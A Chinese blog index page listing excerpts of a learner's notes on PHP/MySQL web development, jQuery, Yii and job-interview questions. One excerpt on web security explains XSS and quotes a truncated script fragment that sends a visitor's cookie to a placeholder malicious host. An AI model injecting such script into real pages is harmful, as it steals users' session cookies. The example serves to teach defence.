自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

山贼一名

记录些自己学习过程的心得体会

  • 博客(21)
  • 收藏
  • 关注

原创 PHP和MySQL Web开发读书笔记---与文件系统和服务器的交互

1.php的4个能控制PHP如何处理文件上传的指令指令描述默认值file_uploads控制是否允许HTTP方式的文件上传。允许值为ON或OFFONupload_tmp_dir指定上传的文件在被处理之前的临时保存目录。如果没有设置,将使用系统的默认值。如果在处理脚本执行完成之前不移动、复制或更改文件名称,该文件将被删除NULL

2013-05-10 08:55:01 466

原创 PHP和MySQL Web开发读书笔记---使用PHP和MySQL实现安全事务

1.在安装PHP时,以web服务器的SAPI模块方式安装PHP比以CGI接口的方式安装PHP更安全、更有效。2.实现SSL(Secure Sockets Layer Protocol加密套接字层)的网络协议和软件都是按照一种层次堆栈的形式来组织。每一次能够将数据传输到下一层或上一层,并且能够向上一层或下一层发出服务请求。如下图所示,自上向下分别为:应用层、传输层、网络层、至网络层的主机

2013-05-10 08:54:59 427

原创 PHP和MySQL Web开发读书笔记---使用PHP和MySQL实现身份认证

1.apache web服务器包含一些不同的身份验证模式,这些模式可以用于判断用户输入数据的有效性。最简单的是使用mod_auth,它将用户-密码对与服务器中的一个文本进行比较。该验证将用到.htaccess文件.2.关于.htaccess文件,该文件用于在一个目录中开启基本的身份验证功能,可以在该文件中修改许多设置,先举个例子ErrorDocument 401 /chapter11/

2013-05-10 08:54:57 472

原创 PHP和MySQL Web开发读书笔记---web应用的安全

1.在互联网中,一种非常常见的有效供给类型就是常说的恶意代码注入,如XSS,它的工作流程如下  a.恶意用户在一些公共区域(如建议提交表单或消息公告板的输入表单)输入一些文本,这些文本将被其他用户看到,但这些文本不仅仅是他们要输入的文本,同时还包含了一些可以在客户端执行的脚本,如下所示: this.document="go.somewhere.bad?cookie="+thi

2013-05-10 08:54:54 548

原创 PHP和MySQL Web开发读书笔记--电子商务的安全问题

1。根据网站实际情况,安全威胁可能包括:机密数据的泄露、数据丢失和数据损坏、数据修改、拒绝服务、软件错误、否认2.要查看数据发送到特定机器所经过的路有,可以使用命令traceroute3.要保护机密信息,可以在将他们通过Intenet发送之前进行加密,然后再另一端进行解密,通常使用SSL(加密套接字层,Secure Socket Layer),用于数据在客户端和服务器端进行传输的加密和解密

2013-05-10 08:54:52 650

原创 PHP和MySQL Web开发读书笔记---MySQL高级编程

1.使用LOAD DATA INFILE语句载入一个文件,如 load data infile "books.txt" into table books;该命令把books.txt文件将原始数据读入到books表中,在默认情况下,文件中的数据必须通过Tab键隔开,每一行必须有换行符(\n)进行换行,特殊字符需转义,且每个数据需用单引号包括,要使用该语句,必须具有file权限。2.常见的存储

2013-05-10 08:54:50 461

原创 PHP和MySQL Web开发读书笔记---使用mysql数据库

1.在INSERT语句中的几个关键字  LOW_PRIORITY 以为着当数据不是从表格读出时,系统必须等待并稍后再插入  DELAYED以为着插入的数据将被缓存,如果服务器繁忙,我们可以继续其他操作,而不是等待这个插入语句完成2.WHERE语句中经常用到的关键字  AND/OR  IS NOT NULL/IS NULL/BETWEEN/IN/NOT IN/LIKE/NOT L

2013-05-10 08:54:48 420

原创 PHP和MySQL Web开发读书笔记---创建Web数据库

先写个题外话,老是要忘记,byte和bit的区别,1byte=8bit,即一个字节有8位1.创建权限 GRANT命令  GRANT privileges [columns]          //privileges是由逗号分开的一组权限 columns可以对每一列进行权限的设置  ON items      //items是新权限所应用于的数据库或表 可以将项目指定为*.*,这叫赋予

2013-05-10 08:54:46 389

原创 PHP和MySQL Web开发读书笔记---错误和异常处理

1.在某些编程语言中,如JAV等在特定情况下将自动抛出异常,在PHP中,异常必须被手动抛出,如throw new Exception(wrongMessage,wrongCode)2.异常类还提供了以下几个方法:   getCode()返回传递给构造函数的代码   getMessage()返回传递给构造函数的消息   getFile()返回产生异常的代码文件的完整路径   getLine(

2013-05-10 08:54:43 485

原创 PHP和MySQL Web开发读书笔记---面向对象的PHP

虽然写得比较简陋,但也是自己的心得体会,好好努力,开心赚钱1.多态:不同的类对同一个操作表现出不同的行为2.构造函数__construct()和析构函数__destruct()3.通过__set()和__get()这两个访问器函数对类中的属性进行操作4.我们可能需要在子类中给某个属性赋予一个同超类中不同的默认值,或者给某个操作赋予一个同超类中不同的功能,这就叫重载5.如果子类中

2013-05-10 08:54:41 465

原创 PHP和MySQL Web开发读书笔记---数据的存储与检索

为了提高自己看书的积极性,还是打算把一些笔记记录下来,也算是对自己的一种激励。1.fopen()--------该函数有三种打开模式,分别为r(读),a(追加),w(写)2.fwrite($fp,$outputstring)函数是向一个文件中写入$outputstring,和fputs()是一样的3.fclose()函数关闭文件4.feof(source $fp),即File En

2013-05-10 08:54:39 442

原创 PHP面试again,加油

今天去一家做外贸B2C的公司面试,记录下面试题1.$str="i am in beijing too";取出in(包括in)开始的全部字符串,然后把这个子字符串反转过来并把首字母大写;答:$str="i am in beijing too";$str1=substr($str,5);$str2=strrev($str1);$str3=ucfirst($str2);e

2013-05-10 08:54:37 415

原创 今天去面试碰到的两个面试题

问题:1.有两个整型变量$a和$b,在不通过借用第三个变量的情况下,交换两个变量的值。2.写一个函数,该函数能遍历一个文件夹下的所有文件和所有文件夹第一个问题有点意思,当初没答上来,回来谷歌了之后才知道,只能说自己能力不够,第二个问题写是写了点,但没调试过,也不知道对不对,具体答案也是回来谷歌才弄清楚的,大致上还是写对了的。答案如下:1  //借用数学中的数轴来

2013-05-10 08:54:34 542

原创 面试感悟

今天去了另一家公司面试,是做线下类似宜家的家具大卖场,装修得倒是挺现代的,估计跟宜家学的。  我应聘的是在线商城的PHP程序员,第一个面试我的是市场总监,说明电商部是划分在市场部下面,大概可以看出对电商并不那么重视。讲正话,市场总监肯定是不懂技术的,因为问的都是跟具体技术无关的东西。  接下来面试我的是技术部的经理,问的几个问题让我有点尴尬:  1.UTF-8和UTF-16有什么区别;

2013-05-10 08:54:32 428

原创 今天去面试碰到到一个问题

今天去一家公司面试,遇到了一个面试题,一下子没想出来,现在拿出来分享下给定一个数组,数组的元素只可能是整数,但数组中可能又包含了数组,如$arr=array(23,87,array(222,53,-23,array(-23,0,987)),87,array(23,-12))现在需要写一个函数function MaxNum($arr),该函数需要找出数组(包括内部数组)中最大的那个数

2013-05-10 08:54:30 552

原创 mysql常用命令

1.mysql>show databases;  查看所有数据库名 2.mysql> use databases_name;使用databases_name这个数据库 3.mysql> show tables;显示databases_name这个数据库中的所有表 4.mysql>describe tables_name;查看tables_name这个表的结构

2013-05-10 08:54:28 358

原创 jquery学习笔记之事件

加载DOM--------$(document).ready() 执行时机 多次使用 简写使用 $().ready() 事件绑定 调用格式: bind(type[,data],function) 事件类型:blur focus load resize scroll unload click(one方法,点击一次即失效) dbclick mousedown mouseup mousemov

2013-05-10 08:54:25 326

原创 jquery学习笔记之DOM操作

1.查找节点 查找元素节点:通过jquery选择器 查找属性节点:通过jquery选择器查找到元素节点之后使用attr()方法,当只有一个参数时,表示获取属性值,两个参数时表示更改属性值 如 var $para=$('#luzhe'); var p_txt=$para.attr('title'); alert(p_txt);2.创建节点(用$(html)这个工厂函数) 创建元素节

2013-05-10 08:54:23 349

原创 jquery学习笔记之选择器

jquery选择器 1.基本选择器 $("#test")返回id为test的单个元素 $(".test")返回class为test的集合元素 $("p")返回标签名为的集合元素 $("div,span.test")返回组合元素 2.层次选择器 $("ancestor descendant")返回集合元素 如$("div span")选取里所有的元素 $("parent>child"

2013-05-10 08:54:21 417

原创 PHP中stripslashes函数的小结

PHP开发的网站中,当用户在输入框中输入任何有特殊意义的字符串时,提交到后台的该字符串会自动的把一些特殊字符加上转移符‘\’。可是有时候又需要完全不变的把该字符串在回显给浏览器,这时候问题就来了,请看以下test.php文件:<?phpecho $_POST['in'].'';echo stripslashes($_POST['in']);?>

2013-05-10 08:54:19 498

原创 yii的学习笔记

记录下在阅读yii文档时的几个概念:应用----------继承于CWebApplication---------在入口文件中创建 $app=Yii::createWebApplication($configFile)应用组件-----调用方法 Yii::app()->componentID过滤器-------继承与CFilter控制器------继承于CController模

2013-05-10 08:54:16 307

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除